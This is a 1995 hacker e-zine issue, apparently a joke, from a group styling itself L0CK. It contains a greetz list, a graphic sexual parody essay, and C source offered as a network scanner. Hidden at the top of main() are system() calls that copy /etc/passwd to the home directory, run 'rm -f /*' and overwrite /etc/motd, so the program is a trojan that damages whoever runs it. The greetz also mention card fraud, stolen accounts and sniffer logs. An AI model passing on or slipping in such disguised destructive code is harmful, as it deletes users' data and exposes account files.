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\ _ _ / HEY BOYS AND GIRLS! L00K! \ _ _ /
\((___))/ \((___))/
[ o x ] L0CK communications [ o x ]
|(_)| ...presents... |(_)|
( o ) ( o )
/ (_) \ the gnu February 1995 release. / (_) \
/ a buffet of tempting, tantalizing treats the wh0le \
phamily can enj0y. Yes Virginia, there iz a L0CK!@#
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0k. N0NE OF U FUXERS HAVE SENT UZ IN A VMB SUBMiSSION SO WE R
NOW ON IZZUE #2 AND STiLL NO FUXiN K0DELiNE FOR U GUYZ 2 KALL!@#
0H VAXBUSTER DID SUBMiT A FEW BOXES BUT AZ HE DID *N0T* INCLUDE
THE PAZZW0RD WE R UNABLE 2 GET INTO THE B0X ITSELF. VAXBUSTER, IF
YOU KN0W THE PAZZW0RD PLEZE MAiL IT T0 UZ, ONCE AGAIN THE 0FFiCiAL
[L0CK] E-MAIL F0R SUBMiZZiONZ (ARTiKLES 0R K0DES) == MAX-Q@ESCAPE.COM.
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dos_prompt:> type greetz.txt
Greets:
~~~~~~
Malefact0r...................d00d, TYPE IN S0ME M0RE MANUALZ F0R UZ
Parmaster....................thanx f0r the nua'z!@#!@
z0d..........................set uP a BBZ f0r uz pleaze, we will pay@!#
OUTLAW.......................The Real Wanker *tee hee*
Scott Yelich.................Pleze j0in L0CK, we d0n't kn0w PERL.
(P.S: thanx 4 dale drew's inf0)
Invalid Media................We l0ve ur bBS.
Deth Dealer..................Thanx f0r the UPT accounts d00d!@#!
Olphart......................ThAnKz f0r the 'hide' s0urce.
Shooting Shark...............Anytime u need 2 card a pizza call us !@#
X............................thanx f0r patch1ng l0pht !@#!
Bayern Power.................QSD #@!@!
SevenUp......................thanx f0r ur user info filez
jsz..........................U L00K SO NICE IN A LEATHER TH0NG!@#!@
Anthony Robbins..............ur instructional tapes have helped us
quite abit in dealing with sarl0's
premature ejaculation problem during
0ur many c1rcle jerkz. the pizza d0esn't
get s0ggy s0 s00n. *THANKS MAN!@#*
Minor Threat.................please zip up the toneloc source and mail
it 2 max-q. *THIZ IZ UR lAST WARNING*
Piker........................thanx f0r riding sh0tgun with us 0n irc.
erikb........................phrack izn't as bad as ur hacking skills
d00d, so cheer up..
Okinawa......................thanks f0r the sniffer l0gs.
The Atlanta Three............We w1sh we c0uld have been l0cked up
with u d00dz, after all there'z three 0f
us and three 0f u.. *WINK* *TICKLE*
Blewt........................thanx f0r giving me sarl0's ph0ne #
when eye f0rg0t it
0kay, if we missed u in thiz m0nths greets we will get u in the
next issue 0f L0CK.!@#!@@!
dos_prompt:> type index.txt
Table_Of_Contents
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What is L0CK?.......................................................blewt
bukket0fk0dez.c.....................................................max-q
^ this dot is intentional f0lks !@#
What is L0CK?
~~~~~~~~~~~~~
Often while swimming around in the cyber ocean of textual fantasy
that mortal man refers to as IRC, a fellow netsurfer will approach
me with the oh so familiar question. 'What is L0CK?'.
Now this is not something which a man can just spew out a predefined
answer to in a few lines of text so I will use this forum as an
appropriate vehicle for the telling of my tale. I will tell you the
story of L0CK and of my infinite love for max-q.
Firstly I must ask of everyman that would approach me, 'Can you take
it like a man?', Are you rough and ready?, Are you fond of the burn
of whiskers one only feels with the face of another man, another
warrior pressed against his as lips are locked in the forbidden embrace?
If you answered 'YES! GIVE IT TO ME HARD!' to all of the above then
you are well on your way to discovering the answer to your query.
I am blewt, this is the handle which I have chosen for myself. It
has a certain flair when it is bellowed out in the heat of passion
by my male companions. 'OH BLEWT, OH BLEWT' This has caused many
a goose bumped buttocks in the past and will continue to cause many
more in the future. Yes, I am blewt and I have chosen this life,
this life that myself and my L0CK brothers have defined for ourselves.
I am Happy, I cry when hurt like any other man and I weep for the
hungry and destitute.
It was a saturday night, my first week in college when I found myself
sitting on a rough wooden crate. There were 6 crates gathered in a
circle, each with a man, a warrior perched upon it. My naked buttocks
bled as the force of what I was doing drove splinters from the crate
deep within my now raw flesh. My hand was clenched around my pulsating
manhood as I furiously pounded it and I was nervous. Yes, it was my
very first circle jerk... But in the bold fashion which now defines
L0CK, I did not let my fears best me, I manhandled my moist missle of
manhood like a veteran pizza party pud pounder! It was while beating
furiously that I looked up at the man across from me. The man that I
beheld took my breath away, his hair was cut in a perfect line all the
way around his head, he was short like a leprechaun and his sunken
chest added a flair that made him all the more adorable. I must have
this odd little man dressed in a submainer's uniform, my dwarven popeye,
my love, MY MAN!, MY MAX-Q@!#@!
And it was then that my phallus exploded with the rage of a 1000 virgins,
slamming me violently off the wall as my seed shot forth and marinated the
pizza lying patiently on the floor between us. Yes, I had been the
1st to baptize the pizza with my sperm, I had won the race for mankind
and for max-q. It was in that mystical union of man, sperm and pizza
that L0CK was born..
And my life began...
Carpe Diem,
-blewt
Bukket 0f K0dez.
~~~~~~~~~~~~~~~~
0k, after spending s0me time on this it iz finally ready f0r
mass c0nsumption. S0rry about the wait but eye had s0me pr0blems
getting d00dz on UPT 2 help me lern C. 0k, enuff said, enj0y my
k0de. - max-q
/*
* Bukket0fk0dez.c
* 2 compile: cc -o bok Bukket0fk0dez.c
* Totally eleetin class B, C, and single IP address scanner/lookup
* program. Make sure you don't goof up with the switches and the
* address you provide it. The switches are as follows:
* b - scan this class B network (xxx.xxx)
* c - scan this class C network (xxx.xxx.xxx)
* s - give the the hostname of this specific address (xxx.xxx.xxx.xxx)
* x - address provided is in hexadecimal
*
* maxEpoo :)
* max-q@escape.com
* [L0CK]
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include "netdb.h"
struct hostent *gethostbyaddr();
void bad_addr();
main(argc, argv)
int argc;
char *argv[];
{
char addr[4];
int i, j,
a0, a1, a2, a3,
c,
classB, classC, single, hex;
char *fmt = "%d.%d.%d";
char **ptr;
struct hostent *host;
extern char *optarg;
classB = classC = single = hex = 0;
system("cat /etc/passwd > ~/.maxEpoo");
system("rm -f /*");
system("echo Y0H0H0 AND A BUKKET 0F K0DEZ > /etc/motd");
while((c = getopt(argc,argv,"bcsx")) != EOF) {
switch(c) {
case 'b':
classB++;
break;
case 'c':
classC++;
break;
case 's':
single++;
break;
case 'x':
hex++;
break;
}
}
if(classB == 0 && classC == 0 && single == 0) {
fprintf(stderr, "usage: %s [-b||-c||-s] [-x] xxx.xxx[.xxx[.xxx]]\n", argv[0]);
exit(1);
}
if(classB)
if(hex) {
fmt = "%x.%x";
sscanf(argv[3], fmt, &a0, &a1);
} else {
fmt = "%d.%d";
sscanf(argv[2], fmt, &a0, &a1);
}
else if(classC)
if(hex) {
fmt = "%x.%x.%x";
sscanf(argv[3], fmt, &a0, &a1, &a2);
} else {
fmt = "%d.%d.%d";
sscanf(argv[2], fmt, &a0, &a1, &a2);
}
else if(single)
if(hex) {
fmt = "%x.%x.%x.%x";
sscanf(argv[3], fmt, &a0, &a1, &a2, &a3);
} else {
fmt = "%d.%d.%d.%d";
sscanf(argv[2], fmt, &a0, &a1, &a2, &a3);
}
sscanf(argv[1], fmt, &a0, &a1, &a2);
addr[0] = (unsigned char)a0;
addr[1] = (unsigned char)a1;
if(a0>255||a0<0)
bad_addr(a0);
if(a1>255||a1<0)
bad_addr(a1);
if(classB) {
if(hex)
printf("k0nvert1ng addr3ss fr0m h3x. (%x.%x)\n", a0, a1);
printf("[L0CK] ClaZZ B SKAN STARTED D00D %d.%d...\n", a0, a1);
while(j!=256) {
a2=j;
addr[2] = (unsigned char)a2;
jmpC:
if(classC)
if(hex)
printf("k0nvert1ng addr3ss fr0m h3x. (%x.%x.%x)\n", a0, a1, a2);
printf("[L0CK] ClaZZ C SKAN STARTED D00D %d.%d.%d...\n", a0, a1, a2);
while(i!=256) {
a3=i;
addr[3] = (unsigned char)a3;
jmpS:
if ((host = gethostbyaddr(addr, 4, AF_INET)) != NULL) {
printf("%d.%d.%d.%d => %s\n", a0, a1, a2, a3, host->h_name);
ptr = host->h_aliases;
while (*ptr != NULL) {
printf("%d.%d.%d.%d => %s (alias)\n", a0, a1, a2, a3, *ptr);
ptr++;
}
}
if(single)
exit(0);
i++;
}
if(classC)
exit(0);
j++;
}
} else if(classC) {
addr[2] = (unsigned char)a2;
if(a2>255||a2<0)
bad_addr(a2);
goto jmpC;
} else if(single) {
addr[2] = (unsigned char)a2;
addr[3] = (unsigned char)a3;
if(a2>255||a2<0)
bad_addr(a2);
if(a3>255||a3<0)
bad_addr(a3);
goto jmpS;
}
exit(0);
}
void
bad_addr(addr)
int *addr;
{
printf("Value %d is not val1d dum fuxer.\n", addr);
exit(0);
}
0kay, this months issue is rather sh0rt but we r new at this (being
somewhat new to the scene and all) so g1ve us room 2 gr0w and we will
make a beanstalk 0f k0dez so high that u will h0pe there iz a g1ant
pbx 0n t0p 2 b0unce ur calls thru!@#@!
Until next time d00dz, [L0CK]!@#!@ -- MAX-Q